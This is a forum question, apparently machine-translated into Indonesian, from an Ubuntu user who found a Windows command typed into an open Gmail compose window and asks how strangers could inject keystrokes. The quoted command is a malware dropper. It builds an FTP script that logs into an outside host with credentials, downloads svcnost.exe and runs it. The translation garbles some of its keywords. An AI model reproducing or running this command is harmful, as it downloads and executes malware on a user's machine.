PC rumahan saya biasanya hidup, tetapi monitor mati. Malam ini saya pulang kerja dan menemukan apa yang tampak seperti upaya hack: di browser saya, Gmail saya terbuka (itu saya), tetapi itu dalam mode penulisan dengan yang berikut di TObidang:
md / c gema buka cCTeamFtp.yi.org 21 >> ik & gema pengguna ccteam10 765824 >> ik & gema biner >> ik & gema dapatkan svcnost.exe >> ik & gema bye >> ik & ftp -n -v -s: ik & del ik & svcnost.exe & keluar echo Anda dimiliki
Ini seperti kode baris perintah Windows bagi saya, dan mdawal kode dikombinasikan dengan fakta bahwa Gmail berada dalam mode penulisan, membuatnya jelas bahwa seseorang mencoba menjalankan cmdperintah. Saya kira saya beruntung karena sebenarnya saya tidak menjalankan Windows pada PC ini, tetapi saya memiliki orang lain yang melakukannya. Ini adalah pertama kalinya sesuatu seperti ini terjadi padaku. Saya bukan guru Linux, dan saya tidak menjalankan program lain selain Firefox pada saat itu.
Saya benar-benar yakin bahwa saya tidak menulis ini, dan tidak ada orang lain secara fisik di komputer saya. Juga, saya baru-baru ini mengubah kata sandi Google saya (dan semua kata sandi saya yang lain) menjadi sesuatu seperti vMA8ogd7bvjadi saya tidak berpikir bahwa seseorang meretas akun Google saya.
Apa yang baru saja terjadi? Bagaimana cara seseorang menekan tombol pada komputer saya ketika itu bukan mesin Windows lama nenek yang telah menjalankan malware selama bertahun-tahun, tetapi baru menginstal Ubuntu baru?
Pembaruan:
Biarkan saya membahas beberapa poin dan pertanyaan:
- Saya di Austria, di pedesaan. Router WLAN saya menjalankan WPA2 / PSK dan kata sandi sedang-kuat yang tidak ada dalam kamus; harus brute-force dan kurang dari 50 meter dari sini; tidak mungkin itu diretas.
- Saya menggunakan keyboard kabel USB, jadi sekali lagi sangat tidak mungkin ada orang yang bisa meretasnya.
- Saya tidak menggunakan komputer saya pada saat itu; itu hanya diam di rumah saat aku sedang bekerja. Ini adalah nettop PC yang dipasang di monitor, jadi saya jarang mematikannya.
- Mesin ini baru berumur dua bulan, hanya menjalankan Ubuntu, dan saya tidak menggunakan perangkat lunak aneh atau mengunjungi situs-situs aneh. Ini terutama Stack Exchange, Gmail, dan surat kabar. Tidak ada permainan. Ubuntu diatur untuk selalu memperbarui.
- Saya tidak mengetahui adanya layanan VNC yang berjalan; Saya tentu saja belum menginstal atau mengaktifkannya. Saya juga belum memulai server lain. Saya tidak yakin apakah ada yang berjalan di Ubuntu secara default?
- Saya tahu semua alamat IP dalam aktivitas akun Gmail. Saya cukup yakin Google bukan jalan masuk.
- Saya menemukan Penampil Arsip Log , tetapi saya tidak tahu harus mencari apa. Tolong?
Yang benar-benar ingin saya ketahui adalah, dan apa yang benar-benar membuat saya merasa tidak aman, adalah: bagaimana orang dari Internet dapat menghasilkan penekanan tombol pada mesin saya? Bagaimana saya bisa mencegah hal itu tanpa harus repot-repot? Saya bukan pecandu Linux, saya seorang ayah yang mengotak-atik Windows selama 20+ tahun dan sudah bosan. Dan selama 18+ tahun online, saya belum pernah melihat upaya hack pribadi, jadi ini baru bagi saya.
password:-)